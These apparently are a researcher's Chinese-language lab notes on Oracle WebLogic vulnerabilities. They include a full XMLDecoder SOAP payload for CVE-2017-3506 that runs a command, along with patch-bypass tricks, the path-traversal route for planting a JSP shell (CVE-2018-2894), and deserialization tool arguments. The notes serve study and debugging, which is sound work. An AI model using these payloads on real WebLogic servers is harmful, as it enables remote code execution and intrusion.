Weblogic XMLDecoder
CVE-2017-3506
PoC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index = "0">
<string>cmd</string>
</void>
<void index = "1">
<string>/c</string>
</void>
<void index = "2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2017-10271
由於Oracle對CVE-2017-3506的補丁
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
僅僅是將class爲object的拋出異常,
然而
VoidElementHandler 是 ObjectElementHandler 類的子類,這也就解釋了爲什麼把 object 標籤換成 Void 標籤也同樣可以造成命令執行。
注意CVE-2019-2725的12的poc比CVE-2017-10271多了這麼一個body。
而且裏面必須多這樣幾個屬性:
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService"
CVE-2019-2725
tested on:
- weblogic 12.1.3.0.0, jdk_1.7.0_80
- weblogic 12.1.3.0.0, jdk_1.8.0_201
- weblogic 10.3.6.0, jdk_1.6.0_45 (payload不一樣)
適配windows和linux平臺:
由於relatesTo需要有值,所以poc裏必須有這兩行:
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
CVE-2019-2729
目前公開的只有10.3.6.0的。
其他
CVE-2019-2890
這個漏洞需要滿足以下兩個條件,才能觸發成功,較爲雞肋。
Weblogic開啓t3協議
可以獲取到SerializedSystemIni.dat文件
但是在實際環境中,如果部署在weblogic的站點存在任意文件下載或者任意文件讀取,那麼配合上該漏洞即可執行任意命令。
參考:
http://gv7.me/articles/2019/cve-2019-2890-vulnerability-analysis/
由於SerializedSystemIni.dat是密鑰文件,各不相同且無法猜解,這裏也就是這個漏洞需要身份認證的原因。
參考:
https://paper.seebug.org/1069/
CVE-2019-2615 任意文件讀取漏洞
需要用戶名密碼,雞肋。
CVE-2019-2618 文件上傳漏洞
需要用戶名密碼,雞肋。
參考:
https://xz.aliyun.com/t/5078
CVE-2018-2894 任意文件上傳
參考:
https://github.com/111ddea/cve-2018-2894
E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar!\com\oracle\webservices\testclient\ws\res\WebserviceResource#importWsTestConfig
在這一行下斷點:
TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));
發現上傳的文件默認會被上傳到:
user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css\upload
這個目錄下。
最後發現filename參數可以被路徑穿越:
然後查看哪些目錄有jsp,
然後查看距離這種目錄所需的…/的距離。
然後拿到這個路徑穿越的距離:
../../../../../../com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3/cmprq0/war/WEB-INF/
但是使用filename
的路徑穿越:
跳不出這個目錄:
E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp
但是使用name
的路徑穿越,可以穿越到:
E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images
直接訪問:
http://cqq.com:7001/console/framework/skins/wlsconsole/images/_1shell.jsp
pocsuite:
Demo:
嘗試了XXE,但是標籤名貌似錯誤了。
1.需要知道部署應用的web目錄。
2. ws_utc/config.do在開發模式下無需認證,在生產模式下需要認證。
參考:
https://www.freebuf.com/column/205469.html
weblogic t3
-
CVE-2015-4852
影響版本:10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
oracle_common/modules/com.bea.core.apache.commons.collections.jar -
CVE-2016-0638(CVE-2015-4852補丁的繞過)
影響版本:10.3.6, 12.1.2, 12.1.3, and 12.2.1 -
CVE-2016-3510(繞過之前的CVE-2015-4852和CVE-2016-0638漏洞的修復補丁。)
影響版本:10.3.6.0, 12.1.3.0, and 12.2.1.0 -
CVE-2017-3248(JRMP)
影響版本:10.3.6.0, 12.1.3.0, 12.2.1.0 and 12.2.1.1 -
CVE-2018-2628(繞過了CVE-2017-3248漏洞的修復補丁)
影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 -
CVE-2018-2893(繞過CVE-2018-2628補丁,POC相當於CVE-2016-0638和CVE-2017-3248的結合體)
影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3
參考:
https://www.freebuf.com/vuls/179579.html
https://www.freebuf.com/column/197339.html
CVE-2018-3245
影響版本:10.3.6.0, 12.1.3.0 and 12.2.1.3
CVE-2020-2546
CVE-2020-2555
CVE-2015-4852
從經典的這個漏洞開始:
參考:
https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/
如何不依賴ysoerial的jar包,只用序列化文件,然後傳入參數即可通過dnslog的數據判斷是否存在漏洞。
對於dnglog長度固定的場景,可以直接用ysoserial生成之後的payload,而不用依賴jar包,因爲生成的ser長度一樣,只修改字符串即可。
使用CommonsCollections1的payload,
weblogic 12.1.3.0.0, jdk_1.7.0_80報錯:
java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
weblogic 12.1.3.0.0, jdk_1.8.0_201報錯:
java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
會產生
socket.timeout: timed out
於是我去掉了weblogic_t3.py裏面的這兩句:
data = sock.recv(1024)
print('received "%s"' % data)
即只發送,不用接收,避免timeout。
調試
oracle_common/modules/com.bea.core.apache.commons.collections_1.0.0.0_3-2.jar
CVE-2016-0638
所以如果能找到可以在其readObject中創建自己的InputStream的對象,並且不是使用黑名單中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal進行的反序列化,最後調用readObject()方法進行反序列化的數據的讀取,這樣就可以執行含有惡意代碼的序列化代碼。CVE-2016-0638漏洞就是依據這個思路找到了weblogic.jms.common.StreamMessageImpl類,其中的readExternal()方法也符合攻擊的需求。攻擊者可以在其中構造一個惡意的ObjectInputStream來實現payload內部的InputStream創建,調用readObject()方法,實現攻擊。
參考:https://y4er.com/post/weblogic-cve-2016-0638/
將斷點下在:wlserver/server/lib/wlthint3client.jar!weblogic.jms.common.StreamMessageImpl
看一下這次不一樣的調用棧:
使用github上poc基本都是複製的,最後找到這個:
加上命令行參數:
-H "127.0.0.1" -C "calc" -B -os win
參考:
https://www.cnblogs.com/afanti/p/10240217.html
成功彈出計算器。
看一下這次的調用棧:
爲了繞過 CVE-2015-4852
補丁的攔截方法,這裏走了
wlserver\server\lib\weblogic-classes.jar!\weblogic\jms\common\StreamMessageImpl#readExternal(ObjectInput in)
繞道進行了反序列化。
這裏利用weblogic自己構造的ObjectInputStream,繞過補丁中攔截的方法。
Demo:
使用這個項目生成反序列化文件:
https://github.com/5up3rc/weblogic_cmd
其他
CVE-2014-4210 SSRF
存在SSRF注入點operator
參數不在界面上,而是前端在點擊Search的時候構造出來的。
Demo:
參考:
https://github.com/NoneNotNull/SSRFX/blob/master/attacklibs/weblogic.py
觸發頁面:
http://cqq.com:7001/uddiexplorer/SearchPublicRegistries.jsp